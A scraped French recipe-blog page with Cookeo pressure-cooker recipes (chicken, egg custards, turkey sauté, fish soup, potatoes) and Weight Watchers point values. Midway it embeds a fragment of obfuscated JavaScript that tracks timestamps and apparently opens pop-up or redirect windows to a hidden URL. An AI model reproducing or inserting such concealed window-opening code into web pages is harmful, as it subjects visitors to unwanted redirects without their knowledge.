Poulet entier herbes de Provence cookeo

Ingrédients

1 poulet

1 cube de bouillon de bœuf

1 cuillère à soupe de farine

1 sachet de papillotes Herbes de Provence

100 ml de vin blanc

200 ml d’eau

Huile d’olive

Sel

Poivre

Préparation

Mode dorer

Faites revenir le poulet dans la cuve avec de l’huile d’olive (sur toutes ses faces).

Salez poivrez selon votre convenance.

Préparez un bouillon avec 100 ml de vin blanc,200 ml d’eau , 1 cube de bouillon de bœuf émiétté et le contenu du sachet d e paillotes d’herbes de Provence.

Versez ce bouillon dans la cuve

Cuisson rapide ou sous pression

Programmez 30 mn

Quand la cuisson est terminée repassez en mode dorer ,réservez votre poulet ,ajoutez une cuillère à soupe de farine pour épaissir la sauce .Quand la sauce a épaissi redéposez votre poulet dans la cuve .

Servez chaud
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Oeufs lait chocolat cookeo

Ingrédients

1 boite de lait concentré sucré (397 g poids net)

L’équivalent du lait concentré en lait nature

100 g de chocolat noir

4 œufs

400 ml d’eau

Préparation

Dans un saladier versez le lait concentré, puis versez du lait dans l boite vide du lait concentré (pour obtenir le même dosage). Mélangez.

Cassez les œufs un à un puis mélangez avec le lait concentré et le lait normal.

Ajoutez le chocolat que vous avez fait fondre au micro-ondes ou dans une casserole avec un peu d’eau. Mélangez

Versez 400 ml d’eau dans la cuve

Versez la préparation dans le moule. Placez le panier vapeur dans la cuve et le moule dans le panier vapeur.

Cuisson rapide ou sous pression

Programmez 15 mn de cuisson

Laissez refroidir à l’air libre.

Puis placez au frigo minimum 1 h (vous pouvez disposez un film dessus le moule)

Démoulez et servez.

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Sauté dinde carottes cookeo : simple et rapide

Sauté dinde carottes cookeo

Calories 241 7 PP 8 SP

Ingrédients pour 4 personnes

600 g de sauté de dinde

200 g de carottes

200 g d’oignons

1 cube de bouillon de bœuf

1 verre de vin blanc

300 ml d’eau

Sel

Poivre

Huile d’olive

300 ml d’eau

Préparation

Mode dorer

Faites dorer les oignons avec de l’huile d’olive dans la cuve. Ajoutez le sauté de dinde et faites dorer également.

Ajoutez les carottes, l’eau avec le cube de bouillon de bœuf émietté, le verre de vin blanc.

Salez et poivrez selon votre convenance.

Cuisson rapide ou sous pression

Programmez 20 mn

Vous pouvez servir ce sauté de dinde avec de spaghettis par exemple.

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Comment chiffrer en SP vos recettes cookeo weight watchers ?

Vous trouverez dans cet article un guide PDF pour chiffrer en SP vos recettes cookeo (ou non ) weight watchers . Vous pouvez téléchargez le PDF en cliquant ICI ou sur l’image

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

//
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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());

Recette cookeo 3 recettes spaghettis (1)

Recette cookeo 3 recettes spaghettis 1

Spaghettis thon weight watchers recette cookeo

Spaghettis citron cookeo

Fiche cookeo spaghettis poulet olive

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50 recettes weight watchers cookeo chiffrage SP ET PP

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Oeufs lait caramel Recette cookeo

Ingrédients

1 boite de lait concentré sucré (397 g poids net)

L’équivalent du lait concentré en lait nature

Nappage caramel

4 œufs

400 ml d’eau

Préparation

Dans un saladier versez le lait concentré , puis versez du lait dans l boite vide du lait concentré (pour obtenir le même dosage ). Mélangez .

Cassez les oeufs un à un puis mélangez avec le lait concentré et le lait normal.

Versez du nappage caramel dans un moule qui va dans le panier vapeur du cookeo .

Versez la préparation dans le moule (dessus le caramel)

Cuisson rapide ou sous pression

Programmez 15 mn de cuisson

Laissez refroidir à l’air libre .

Puis placez au frigo minimum 1 h (vous pouvez disposez un film dessus le moule )

Démoulez et servez .

[youtube https://www.youtube.com/watch?v=Ss-LRck2b1g]
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Fiche cookeo poulet cola weight watchers

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Fiche cookeo poulet cola weight watchers

4 PP 5 SP 319 calories

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[youtube https://www.youtube.com/watch?v=AfnVegz32TY]

Gâteau chocolat cookeo (Recette 360)

Voici une recette de notre site partenaire recette 360 . Un gâteau chocolat cookeo .

Gâteau au chocolat avec cookeo

//
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Gâteau Nutella cookeo : une idée dessert

Avez -vous déjà réalisé ce gâteau ? Pour ma part je n’ai pas encore eu le temps . Qui veut bien tester cette recette de gâteau Nutella cookeo ?

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js

//
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Vidéo cookeo porc au cidre weight watchers

Vidéo cookeo porc au cidre weight watchers.Laissez vous tenter
[youtube https://www.youtube.com/watch?v=hDFxuQtLjrE]
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Pommes de terre rissolées au cookeo ma version

Vous trouverez dans cet article ma version des pommes rissolées au cookeo. Je dois avouer que j’avais trouvé des recettes sur les pommes de terre sautées ou rissolées que j’avais tentées mais j’avoue que j’ai subi de nombreux échecs. Alors j’ai tenté une nouvelle formule en utilisant uniquement la fonction dorer du cookeo. Voici donc les ingrédients.

Ingrédients

1 kilo de pommes de terre coupées en morceaux ou 1 kg de pommes de terre en morceaux congelées

Huile

Préparation

Mode dorer

Mettez de l’huile dans la cuve et faites dorer vos pommes de terre pendant 10 bonnes minutes. Si les pommes de terre attachent au fond de la cuve rajoutez un peu d’huile au fur et à mesure.

Salez et poivrez selon votre convenance et servez chaud.

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Soupe de poissons Recette cookeo

Ingrédients pour 4 personnes

250 g de dés de cabillaud

250 g de dés de lotte ou 500 g de poissons blancs

200 g de poireaux

2 oignons coupés en morceaux

Huile d’olive

2 tomates coupées en morceaux

1 l d’eau

2 cubes de bouillon de bœuf

1 cuillère à café de thym

1 cuillère à café de céleri

Mélange 5 baies

Préparation

Mode dorer

Versez de l’huile d’olive dans la cuve et faites revenir les oignons puis les poireaux .

Ajoutez ensuite les tomates ,la cuillère à café d’ail, de thym,de céleri .

Saupoudrez de mélange 5 baies.

Versez l’eau avec les cube de bouillon de bœuf émietttés.

Ajoutez le poisson .

Cuisson rapide ou sous pression

Programmez 12 mn préparation .

Mixez l’ensemble et servez chaud

sport-et-regime.com
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Poulet entier herbes de Provence cookeo